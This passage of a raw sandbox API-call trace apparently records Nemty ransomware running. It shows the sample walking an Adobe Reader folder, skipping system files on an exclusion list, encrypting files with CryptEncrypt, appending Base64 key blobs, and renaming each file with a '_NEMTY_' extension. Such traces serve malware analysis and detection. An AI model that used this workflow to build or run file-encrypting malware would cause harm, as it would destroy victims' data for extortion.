lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tl.gif", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tl.gif", lpUsedDefaultChar=0x0) returned 6 [0193.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tl.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tl.gif", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tl.gif", lpUsedDefaultChar=0x0) returned 6 [0193.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tl.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tl.gif", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tl.gif", lpUsedDefaultChar=0x0) returned 6 [0193.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0193.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94340 | out: hHeap=0x4f90000) returned 1 [0193.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0193.849] Sleep (dwMilliseconds=0x5) [0193.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x273223d0, dwHighDateTime=0x1d561e8)) [0193.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x273223d0, dwHighDateTime=0x1d561e8)) [0193.859] GetLastError () returned 0x0 [0193.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.859] GetLastError () returned 0x0 [0193.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.859] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.859] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.859] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.860] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="xmzQ2b21Q0TgXdW7JjzNtXhv/JhFNH+2ruYiFHQnK8eX5Nh6K7l/gmVBlvFS8elC\r\nKLskiPIMp3ZWqEhosOVfdCHBdABzrwd5oYt5S+aTeU4/oUud9e2xYvqqbE7i3OyJ\r\n/IQKKvMoMv8ORlmaBmF75O8RvWaXYRWkXh3TVeccnzIDwM+K1chiM95B+x96XTf/\r\nOFJFTeJkW6bOxepkZKzjrf+DXM3IUxd2jnTWKS2PTckT3b066TeyIUHpnKevI1xD\r\nKTGwqLHAVAr922juPrlsiRKq3N1dbjX0U4aSg53j/LcvKlRjjVZXBM/+uX9uF7tb\r\n3ZD+qn+Y6qrbXnps4mBPuA==\r\n", pcchString=0x653e91c) returned 1 [0193.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.860] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tl.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tl.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.861] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=85) returned 1 [0193.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94398 [0193.861] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.861] ReadFile (in: hFile=0x254, lpBuffer=0x4f94398, nNumberOfBytesToRead=0x50, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x4f94398*, lpNumberOfBytesRead=0x653eb64*=0x50, lpOverlapped=0x0) returned 1 [0193.862] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.862] WriteFile (in: hFile=0x254, lpBuffer=0x4f94398*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94398*, lpNumberOfBytesWritten=0x653eb5c*=0x50, lpOverlapped=0x0) returned 1 [0193.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0193.862] SetFilePointer (in: hFile=0x254, lDistanceToMove=85, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x55 [0193.862] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.862] CloseHandle (hObject=0x254) returned 1 [0193.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94398 [0193.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0193.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0193.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.862] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tl.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tl.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tl.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tl.gif._nemty_kgobjgd_")) returned 1 [0193.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0193.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0193.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.863] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="tr.gif", cAlternateFileName="")) returned 1 [0193.863] lstrcmpiW (lpString1="tr.gif", lpString2=".") returned 1 [0193.863] lstrcmpiW (lpString1="tr.gif", lpString2="..") returned 1 [0193.863] lstrcmpiW (lpString1="tr.gif", lpString2="...") returned 1 [0193.863] lstrcmpiW (lpString1="tr.gif", lpString2="windows") returned -1 [0193.863] lstrcmpiW (lpString1="tr.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.863] lstrcmpiW (lpString1="tr.gif", lpString2="rsa") returned 1 [0193.863] lstrcmpiW (lpString1="tr.gif", lpString2="NTDETECT.COM") returned 1 [0193.864] lstrcmpiW (lpString1="tr.gif", lpString2="ntldr") returned 1 [0193.864] lstrcmpiW (lpString1="tr.gif", lpString2="MSDOS.SYS") returned 1 [0193.864] lstrcmpiW (lpString1="tr.gif", lpString2="IO.SYS") returned 1 [0193.864] lstrcmpiW (lpString1="tr.gif", lpString2="boot.ini") returned 1 [0193.864] lstrcmpiW (lpString1="tr.gif", lpString2="boot.ini") returned 1 [0193.864] lstrcmpiW (lpString1="tr.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.864] lstrcmpiW (lpString1="tr.gif", lpString2="ntuser.dat") returned 1 [0193.864] lstrcmpiW (lpString1="tr.gif", lpString2="desktop.ini") returned 1 [0193.864] lstrcmpiW (lpString1="tr.gif", lpString2="CONFIG.SYS") returned 1 [0193.864] lstrcmpiW (lpString1="tr.gif", lpString2="RECYCLER") returned 1 [0193.864] lstrcmpiW (lpString1="tr.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.864] lstrcmpiW (lpString1="tr.gif", lpString2="bootmgr") returned 1 [0193.864] lstrcmpiW (lpString1="tr.gif", lpString2="programdata") returned 1 [0193.864] lstrcmpiW (lpString1="tr.gif", lpString2="appdata") returned 1 [0193.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr.gif", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tr.gif", lpUsedDefaultChar=0x0) returned 6 [0193.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr.gif", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tr.gif", lpUsedDefaultChar=0x0) returned 6 [0193.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr.gif", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tr.gif", lpUsedDefaultChar=0x0) returned 6 [0193.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr.gif", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr.gif", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tr.gif", lpUsedDefaultChar=0x0) returned 6 [0193.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0193.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0193.864] Sleep (dwMilliseconds=0x5) [0193.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27348530, dwHighDateTime=0x1d561e8)) [0193.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27348530, dwHighDateTime=0x1d561e8)) [0193.875] GetLastError () returned 0x0 [0193.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.875] GetLastError () returned 0x0 [0193.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.875] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.875] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.875] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.875] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="gZPl77AJB9GCBu7p/WJmUiaQxUSWiDqzKIiuJZ8eQoBZQJ/dlKG9tVBrjDeo+DNe\r\ntt84jaJ72JiCSQpsmno74XU/qn2QZR+KGT/f9yb/qzus2jffQSqk90/d6jTBMhg5\r\nzXEw2MWeQDU7snzOYxQeBalNOXCXaavzxXF6ByQjDCQ6iZ+qMeHZDMvo89l9t2ct\r\nou6j+a8GLplOFpsWGEsaphAMjAZEJx1BBi9sqpz1j+bcCPb9PCnYbcMHAR8N/8Ic\r\nUIER7WNsP+nyb99qMaRvG4TY3BZgvEjHjWYFdbM1TtWj+g655uqagkQbL4zoLPDo\r\nWDznlfUy55jw11Zp02WwRw==\r\n", pcchString=0x653e91c) returned 1 [0193.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.875] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tr.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tr.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.876] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=85) returned 1 [0193.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94398 [0193.876] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.876] ReadFile (in: hFile=0x254, lpBuffer=0x4f94398, nNumberOfBytesToRead=0x50, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x4f94398*, lpNumberOfBytesRead=0x653eb64*=0x50, lpOverlapped=0x0) returned 1 [0193.877] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.877] WriteFile (in: hFile=0x254, lpBuffer=0x4f94398*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94398*, lpNumberOfBytesWritten=0x653eb5c*=0x50, lpOverlapped=0x0) returned 1 [0193.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0193.877] SetFilePointer (in: hFile=0x254, lDistanceToMove=85, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x55 [0193.877] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.877] CloseHandle (hObject=0x254) returned 1 [0193.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94398 [0193.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0193.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0193.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.877] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tr.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tr.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tr.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tr.gif._nemty_kgobjgd_")) returned 1 [0193.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0193.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0193.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.878] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x489, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="trash.gif", cAlternateFileName="")) returned 1 [0193.878] lstrcmpiW (lpString1="trash.gif", lpString2=".") returned 1 [0193.878] lstrcmpiW (lpString1="trash.gif", lpString2="..") returned 1 [0193.878] lstrcmpiW (lpString1="trash.gif", lpString2="...") returned 1 [0193.878] lstrcmpiW (lpString1="trash.gif", lpString2="windows") returned -1 [0193.878] lstrcmpiW (lpString1="trash.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.878] lstrcmpiW (lpString1="trash.gif", lpString2="rsa") returned 1 [0193.878] lstrcmpiW (lpString1="trash.gif", lpString2="NTDETECT.COM") returned 1 [0193.878] lstrcmpiW (lpString1="trash.gif", lpString2="ntldr") returned 1 [0193.879] lstrcmpiW (lpString1="trash.gif", lpString2="MSDOS.SYS") returned 1 [0193.879] lstrcmpiW (lpString1="trash.gif", lpString2="IO.SYS") returned 1 [0193.879] lstrcmpiW (lpString1="trash.gif", lpString2="boot.ini") returned 1 [0193.879] lstrcmpiW (lpString1="trash.gif", lpString2="boot.ini") returned 1 [0193.879] lstrcmpiW (lpString1="trash.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.879] lstrcmpiW (lpString1="trash.gif", lpString2="ntuser.dat") returned 1 [0193.879] lstrcmpiW (lpString1="trash.gif", lpString2="desktop.ini") returned 1 [0193.879] lstrcmpiW (lpString1="trash.gif", lpString2="CONFIG.SYS") returned 1 [0193.879] lstrcmpiW (lpString1="trash.gif", lpString2="RECYCLER") returned 1 [0193.879] lstrcmpiW (lpString1="trash.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.879] lstrcmpiW (lpString1="trash.gif", lpString2="bootmgr") returned 1 [0193.879] lstrcmpiW (lpString1="trash.gif", lpString2="programdata") returned 1 [0193.879] lstrcmpiW (lpString1="trash.gif", lpString2="appdata") returned 1 [0193.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trash.gif", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trash.gif", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trash.gif", lpUsedDefaultChar=0x0) returned 9 [0193.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trash.gif", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trash.gif", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trash.gif", lpUsedDefaultChar=0x0) returned 9 [0193.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trash.gif", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.879] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trash.gif", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trash.gif", lpUsedDefaultChar=0x0) returned 9 [0193.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: 